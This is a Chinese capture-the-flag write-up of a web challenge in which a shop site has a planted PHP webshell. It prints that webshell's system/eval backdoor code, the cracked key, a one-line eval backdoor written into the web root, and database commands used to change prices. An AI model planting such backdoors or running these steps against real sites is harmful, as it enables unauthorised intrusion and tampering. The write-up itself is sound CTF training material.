继某两所大学校内餐厅被黑后,终于考上大学的小明也想“逝世”,但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell,并给你的一条线索,去帮他完成吧。
请联系CTF生活,写一篇文章,谈谈你的认识与思考。
要求:(1)自拟题目;(2)不少于 800字。
这道题总的来说是一个商城的网站,需要从中找到漏洞(当然题目有用的也只有第一句话)。翻找了好久没找到刻意的漏洞在哪里,不过这个商城好像有一个比较耐人寻味的特性:你说他扣钱吧,买东西他还真扣。但是呢,等你翻到上一个页面,你会发现扣除的钱又返回来了。只能说“如扣”(´⊙ω⊙`)
没办法,实在找不到了,看看源代码吧。
看到这里你很难不注意到一个很扎眼的类似于base64的一个字符串,为什么说它是类似的呢?因为我兴冲冲的把它复制到随波逐流里,进行解码的时候发现它出了乱码。说明在base64的基础上,肯定套了一层我们不知道的加密。那么准备上cyberchef
赛博厨师的魔法棒太牛逼了。▄█▀█●给跪了
很明显的让访问/shell.php?show
但是只访问这个会显示404。
说明中间还差了一个或几个文件夹,没办法,只能上扫描器了。
御剑有一个不好的点,就是他的字典太大了,导致他需要扫描的时间比较长。不过总之他把一个文件夹扫出来了,所以我们要访问的是
challenge.shc.tf:30805/uploads/shell.php?show
访问之后出了一串代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_GET ['show' ])) { highlight_file (__FILE__ ); } $pass = 'c4d038b4bed09fdb1471ef51ec3a32cd' ;if (isset ($_POST ['key' ]) && md5 ($_POST ['key' ]) === $pass ) { if (isset ($_POST ['cmd' ])) { system ($_POST ['cmd' ]); } elseif (isset ($_POST ['code' ])) { eval ($_POST ['code' ]); } } else { http_response_code (404 ); }
如果这道题要简单一点的话,其实到这儿已经结束了。这个代码很简单。把md5解出来之后就可以命令执行。
推荐一个网站:somd5
MD5免费在线解密破解_MD5在线加密-SOMD5
解出来的结果是114514 10分甚至9分的有梗
那接下来就可以命令执行了。
很可惜,根目录下没有flag,所以这道题还没有结束。查看扫描结果你会发现有一个connect.php的文件。一般来说这个文件是用来连接数据库的,所以说flag大概在数据库里。
从这里开始解题方法开始分化,大体基本上是改金额。
这里首先讲从源码上改金额,因为这种方法最简单。
首先往里写一个一句话木马插入到网站根目录里
1 code=file_put_contents("/var/www/html/1.php",'<?php @eval($_POST[0]);?>');
然后再用蚁剑连接,此时你可以看到index.php里边的金额是写死3块的。
1 2 3 4 5 6 <?php include 'connect.php' ;$my_money = 3.00 ;$msg = "" ;$target_id = 0 ;
而flag要求50块,所以我们可以修改源码,把3块修改成50块。
🥚是
蚁剑不允许直接修改,那么我们可以用下改在上传的方式在本地修改。
再重新加载网站,你就会发现你的金额变成50块了。
然后你就可以去买flag了,这是第一种解法。
接着我们来讲如何改flag的金额。
所以我们可以查看用于连接的connect.php,但是他经过了高度混淆,我们可以用php的反混淆网站,结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php ?> <?php (function ( ) { $___f = 'base' . '64_' . 'decode' ; $__F = 'cpu' . '_' . 'fetch' ; $base64_decode = 'a' . substr ($__F , 1 , 1 ) . 'c' . substr ($__F , 2 ); $__H = 'bG9jYWxob3N0' ; $__D = $$___f ('__D' ); $__U = $$___f ($__D ); $__P = $$___f ($__D . $__U ); $__C = 'dXRmOG1iNA==' ; $_____host = $___f ($__H ); $_____db = $___f ($__D ); $_____user = $___f ($__U ); $_____pass = $___f ($__P ); $_____charset = $___f ($__C ); $___p1 = chr (109 ) . chr (121 ) . chr (115 ) . chr (113 ) . chr (108 ); $___p2 = $___p1 . chr (58 ) . 'host' . chr (61 ); $___p3 = ';' . 'dbname' . chr (61 ); $___p4 = ';' . 'charset' . chr (61 ); $____dsn = $___p2 . $_____host . $___p3 . $_____db . $___p4 . $_____charset ; $___cls = chr (80 ) . chr (68 ) . chr (79 ); $____opts = []; $____opts [constant ('PDO::ATTR_ERRMODE' )] = constant ('PDO::ERRMODE_EXCEPTION' ); $____opts [constant ('PDO::ATTR_DEFAULT_FETCH_MODE' )] = constant ('PDO::FETCH_ASSOC' ); $____opts [constant ('PDO::ATTR_EMULATE_PREPARES' )] = false ; try { $GLOBALS ['pdo' ] = new $___cls ($____dsn , $_____user , $_____pass , $____opts ); } catch (\Exception $____e ) { $___msg = chr (68 ) . chr (66 ) . chr (32 ) . chr (69 ) . chr (114 ) . chr (114 ) . chr (111 ) . chr (114 ); die ($___msg ); } })(); ?>
解混淆之后发现也有点奇奇怪怪的,但是这个代码也不难分析,不论你是用AI分析还是自己分析,大致可以得到如下结果
我菜,所以我是用AI分析的
这段 PHP 代码是一个经过强混淆的数据库连接初始化脚本 ,本质功能只有一个:创建 PDO 数据库连接并存入 $GLOBALS['pdo'] 。混淆的目的只是隐藏真实的数据库配置和关键函数名称。下面按逆向思路逐层解释。
一、整体结构概览 核心结构:
1 2 3 4 5 6 (function () { // 构造配置 // 解码数据库信息 // 构造 PDO DSN // 创建 PDO 对象 })();
这是一个:
匿名函数立即执行(IIFE)
避免污染全局命名空间
最终只暴露:
二、关键混淆技术拆解 1. 动态构造 base64_decode 函数 1 $___f = 'base' . '64_' . 'decode';
等价于:
1 $___f = "base64_decode";
后续调用:
等价:
这是典型的函数名混淆绕静态检测 。
2. Base64 隐藏数据库配置 原始代码:
1 2 $__H = 'bG9jYWxob3N0'; // localhost $__C = 'dXRmOG1iNA=='; // utf8mb4
解码:
1 2 $_____host = base64_decode('bG9jYWxob3N0'); $_____charset = base64_decode('dXRmOG1iNA==');
得到:
1 2 $_____host = "localhost" $_____charset = "utf8mb4"
3. 混淆的变量变量技巧(重点) 危险部分: 1 2 3 $__D = $$___f('__D'); $__U = $$___f($__D); $__P = $$___f($__D . $__U);
注意:
等价:
即:
1 ${"base64_decode"}("__D")
这属于:
变量变量调用函数名 正常写法应该是:
1 2 3 $__D = base64_decode('c2hvcA=='); // shop $__U = base64_decode('Y3RmX3VzZXI='); // ctf_user $__P = base64_decode('Y3RmX3Bhc3N3b3JkXzEyMw=='); // ctf_password_123
四、真实数据库配置还原 还原后完整配置为:
1 2 3 4 5 host = localhost dbname = shop user = ctf_user password = ctf_password_123 charset = utf8mb4
五、DSN 构造过程 混淆代码:
1 $___p1 = chr(109).chr(121).chr(115).chr(113).chr(108);
ASCII:
1 2 3 4 5 109 m 121 y 115 s 113 q 108 l
得到:
完整构造:
1 2 $____dsn = "mysql:host=localhost;dbname=shop;charset=utf8mb4"
六、PDO 类名混淆 1 $___cls = chr(80) . chr(68) . chr(79);
ASCII:
得到:
实例化:
七、PDO 选项 1 2 3 4 5 $____opts = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false ];
作用:
选项
作用
ATTR_ERRMODE
异常模式
ATTR_DEFAULT_FETCH_MODE
返回关联数组
ATTR_EMULATE_PREPARES
禁用模拟预处理,提高安全性
八、最终执行的真实等价代码 完全去混淆后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 try { $dsn = "mysql:host=localhost;dbname=shop;charset=utf8mb4"; $GLOBALS['pdo'] = new PDO( $dsn, "ctf_user", "ctf_password_123", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false ] ); } catch (Exception $e) { die("DB Error"); }
所以我们可以从此提炼出数据库的账号ctf_user密码ctf_password_123
虽然但是,以上的关于数据库连接分析其实是在做无用功 {{|└(>o<)┘|}}
到底其实我也不明白为什么会给两个数据库的密码。而且还不一样。如果有哪位大佬明白这样的成因请联系我
真正有用的地方在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 CREATE DATABASE IF NOT EXISTS shop;USE shop; CREATE TABLE goods ( id INT PRIMARY KEY , name VARCHAR (50 ), price DECIMAL (10 , 2 ) ); CREATE TABLE mess ( id INT PRIMARY KEY , mess VARCHAR (100 ) ); INSERT INTO goods VALUES (1 , 'Free Tea' , 0.00 ), (2 , 'Icecream' , 3.00 ),(3 , 'Golden Flag' , 50.00 );INSERT INTO mess VALUES (1 , '羊毛都让你薅光了' ), (2 , '好吃不贵' );CREATE USER 'ctf_user' @'localhost' IDENTIFIED BY 'ctf_password_114514' ;GRANT SELECT , UPDATE ON shop.goods TO 'ctf_user' @'localhost' ;DELIMITER / / CREATE DEFINER= `root`@`localhost` PROCEDURE `buy_item`(IN item_id INT , IN user_money DECIMAL (10 ,2 ))SQL SECURITY DEFINER BEGIN DECLARE current_price INT ; DECLARE final_message VARCHAR (100 ); SELECT price INTO current_price FROM goods WHERE id = item_id; IF current_price <= user_money THEN SELECT mess INTO final_message FROM mess WHERE id = item_id; SELECT current_price AS current_price, final_message AS final_message; ELSE SELECT 0 AS current_price, '余额不足,你需要更多的钱或者更便宜的商品' AS final_message; END IF; END / / DELIMITER ; GRANT EXECUTE ON PROCEDURE shop.buy_item TO 'ctf_user' @'localhost' ;FLUSH PRIVILEGES;
从这个sql中可以看出数据库的密码其实是ctf_password_114514,同时通过这个数据库,我们可以修改flag的金额。
1 mysql -u ctf_user -pctf_password_114514 -D shop -e "UPDATE goods SET price=3.00 WHERE id=3;"
执行之后,你就会发现flag变成了3块钱。
然后你就可以买flag了。